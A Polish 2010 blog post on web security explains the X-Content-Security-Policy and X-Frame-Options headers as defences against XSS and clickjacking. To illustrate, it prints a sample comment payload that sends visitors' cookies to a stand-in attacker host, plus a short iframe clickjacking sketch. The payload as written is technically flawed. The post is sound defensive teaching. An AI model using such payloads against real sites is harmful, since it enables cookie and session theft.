• Strona główna
  • Curriculum Vitae
  • O mnie
  • Mapa strony
  • Kontakt
Niebieski Pomarańczowy Zielony Różowy Fioletowy

Bezpieczne nagłówki HTTP

Opublikowane 22 lipca 2010. Autor: Kamil Brenk. Wizyt: 30.

Kategorie: Protokół HTTP
Tematyka: bezpieczeństwo stron internetowych, bezpieczne programowanie, Clickjacking, Cross-Site Scripting, JavaScript, ochrona przed XSS, Protokół HTTP, X-Content-Security-Policy, X-Frame-Options

lip 22

W tym krótkim wpisie chciałbym przedstawić dwa całkiem przydatne nagłówki zwiększające bezpieczeństwo tworzonych serwisów WWW.

Pierwszym z nagłówków jest X-Content-Security-Policy chroniącym przed atakiem typu XSS (Cross-Site Scripting). Drugim natomiast jest nagłówek X-Frame-Options, który chroni przed Clickjackingiem.

X-Content-Security-Policy

Nagłówek X-Content-Security-Policy wprowadza koncepcję CSP po stronie serwera, która jest z całą pewnością znana każdemu, kto miał styczność z Ajaksem. Mowa tutaj o technologii Content Security Policy, czyli ograniczeniu możliwości pobierania danych wyłącznie z tej samej domeny (zasada tożsamego pochodzenia).

Dzięki nagłówkowi X-Content-Security-Policy ta sama zasada będzie panować po stronie serwera!

Co dzięki temu uzyskujemy? Otóż, jeśli ktoś przeprowadzi pomyślny atak XSS i uda mu się osadzić na nieswojej stronie kod HTML odwołujący do zewnętrznych domen – ta operacja nie zostanie wykonana.

Przykładowo (bez ww. zabezpieczenia), dajemy naszym klientom możliwość komentowania artykułów na stronie. Złowrogi Jan Kowalski w polu formularza wprowadza następujący ciąg:

1
<img src="http://evilpage.pl/kill_them_all.jpg?<script>document.cookie;</script>" />

Komentarz się zapisuje i przy każdym kolejnym wyświetleniu strony zostaje wykonany.

Dzięki temu do autora strony evilpage.pl trafiają ciasteczka każdego kolejnego odwiedzającego stronę ze złowrogim kodem. Co jeśli w danej chwili klient jest zalogowany i w ciasteczku ma zapisany swój identyfikator sesji? Jeśli strona nie jest zabezpieczona przed Session Hijackingiem to haker z łatwością przejmie kontrolę nad kontem.

Tak więc nagłówek X-Content-Security-Policy sprawi, iż powyższy kod nie zostanie wykonany, a ciasteczka użytkownika nie zostaną przekazane do niedobrego Jana Kowalskiego.

Wady nagłówka X-Content-Security-Policy

Oczywiście ma to swoje wady – nie możemy korzystać z zewnętrznych obrazów, stylów CSS, skryptów JavaScript, etc.

Niemniej jednak nagłówek jest na tyle uniwersalny, że możemy w nim ustawić domeny i pliki, których użycie dozwolimy na naszej stronie.

Najgorszą wadą takiego rozwiązania jest niepełna jeszcze implementacja przez przeglądarki – z tego co się doczytałem, to tylko nowsze wersje Firefoxa sobie z tym radzą.

Przykłady nagłówka:

1
X-Content-Security-Policy: allow 'self'
1
2
3
X-Content-Security-Policy: allow 'self'; img-src *; \
                           object-src media1.com media2.com *.cdn.com; \
                           script-src trustedscripts.example.com

Więcej o samej idei, wykorzystaniu, zastosowaniu, wadach i zaletach można poczytać na stronie Mozilli, CSP Specification.

X-Frame-Options
1
X-Frame-Options: deny

Drugi z kolei nagłówek chroni nas przed Clickjackingiem. Clickjacking polega na przechwytywaniu kliknięć na danej stronie. Przykładem zastosowania tej techniki ataku jest skrypt automatycznie klikający w reklamy na danej stronie.

Najprostszy przykład może wyglądać następująco:

1
<iframe src="http://allegro.pl/" id="myFrame" frameborder="0" width="1" height="1"></iframe>

Po czym do takiej pływającej ramki możemy odwoływać się następująco:

1
var iFrame = document.getElementById('myFrame').contentWindow;

W ramce możemy wyszukać wszystkie linki:

1
var links = iFrame.getElementByTagName('a');

Po czym przechodząc po każdym po kolei w pętli, wywoływać adres w nowym oknie :-)

Obroną przed Clickjackingiem jest nagłówek X-Frame-Options. Sprawia on, iż złowrogi Jan Kowalski chcący otworzyć naszą stronę w ramce lub pływającej ramce, dostanie błąd odpowiedzi i całość spełznie na niczym.

Zamiast tego zostanie wyświetlona przyjazna strona informująca, iż podany adres nie może zostać otworzony w ramce, a jedynie w nowym oknie.

Wady nagłówka X-Frame-Options

Niestety, także i ten nagłówek posiada pewne wady. Największą z nich jest niepełna implementacja przez przeglądarki.

Z tego co widzę, strona z tym nagłówkiem nie zostanie otworzona w Internet Explorer 8, Opera 10.60 i Chrome 5.0. Jednak strona w ramce zostaje normalnie otwarta w IE6, IE7, Mozilla i innych, także nadal nie jest to najlepsze zabezpieczenie.

Pozostaje więc używać klasycznego:

1
2
3
4
5
<script language="javascript" type="text/javascript">
if (top != self) {
    top.location=self.location;
}
</script>

A nagłówek dodawać jako ewentualny dodatek.

Przydatne materiały:

  1. Przykład wykorzystania nagłówka X-Frame-Options
  2. Jeff Atwood o zabezpieczaniu przed Clickjackingiem
Kilka słów podsumowania

Cieszy mnie bardzo, że niektóre nowoczesne przeglądarki wychodzą z takimi szczytnymi zabezpieczeniami i próbują dbać, zarówno o przeglądających strony, jak i pomagają webmasterom.

Niestety, nadal nie można w pełni polegać na powyższych nagłówkach, a stanowią one jedynie dodatek do istniejących zabezpieczeń.

Co jeśli złowrogi użytkownik celowo użyje przestarzałej przeglądarki pozwalającej na przeprowadzanie ataków? Co jeśli haker napisał sobie własną przeglądarkę, łamiąc wszelkie reguły i zasady bezpieczeństwa?

Podsumowując, dodawanie tego typu nagłówków jest bardzo dobrą praktyką, jednak nie możemy wyłącznie na tym polegać.

Dodaj komentarz

XHTML: Możesz użyć następujących tagów
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code lang="" escaped=""> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Kamil Brenk Blog

PHP, JavaScript, SQL, HTML

  • Informacje o blogu

    Kamil Brenk

    Blog o tworzeniu aplikacji na potrzeby sieci Web.

    Praktyczne przykłady, porady i sztuczki. PHP, SQL, AJAX, JavaScript, HTML i pochodne.

    Kanał RSS

    • Najnowsze
    • Komentarze
    • Popularne
    • Konwersja JS i CSS do PNG
    • Optymalizacja wyrażeń regularnych
    • Cross-Domain JavaScript
    • Kompendium programisty #1
    • Jak pobierać zewnętrzne zasoby?
    • 960 Grid System
    • Kamil Brenk: @eN: Nie sposób się nie zgodzić z tym co piszesz, masz...
    • Michal Wachowski: To jest na prawdę szalone :D
    • The one: Zarąbista gierka :D
    • eN.: Problem w tym że nie zwracają tego samego, a dokładniej1...
    • Michal Wachowski: DAS - deterministyczne automaty skończone, AS - to samo ale bez...
    • Kamil Brenk: DAS / AS? Pierwsze słyszę :-) Raczej nie będę już miał...
    • Michal Wachowski: Jak na studiach będziesz mieć AS i DAS to wiele się wyjaśni...
    • Gramatyka w PHP, część 1
    • Projekt aplikacji po stronie klienta
    • Optymalizacja wyrażeń regularnych
    • Yii PHP Framework vs Symphony
    • Minimalizacja zapytań HTTP
    • Jak pobierać zewnętrzne zasoby?
    • Usługi sieciowe w PHP: REST
  • Szukajka
    Wpisz co chcesz wyszukać na stronie…
  • Kategorie
    • Apache
    • Front-end Development
    • HTML5 & CSS3
    • Inne
    • JavaScript
    • PHP
    • Po godzinach
    • Protokół HTTP
    • SQL
    • Wyrażenia regularne
  • Moje serwisy
    • Testy zawodowe
    • Miłość, uczucia i seks
  • Czytane blogi
    • Wojciech Sznapka
    • Wojciech Soczyński
    • Dzienniki zyxowe
    • Przemysław "eRIZ" Pawliczuk
  • Archiwum
    • sierpień 2010
    • lipiec 2010
    • czerwiec 2010
    • maj 2010
    • kwiecień 2010
    • marzec 2010
    • luty 2010
    • styczeń 2010
  • Strona główna
  • Curriculum Vitae
  • O mnie
  • Mapa strony
  • Kontakt

Kamil Brenk © 2010. All rights reserved.

Designed by FTL Wordpress Themes brought to you by Smashing Magazine.

Do góry ∧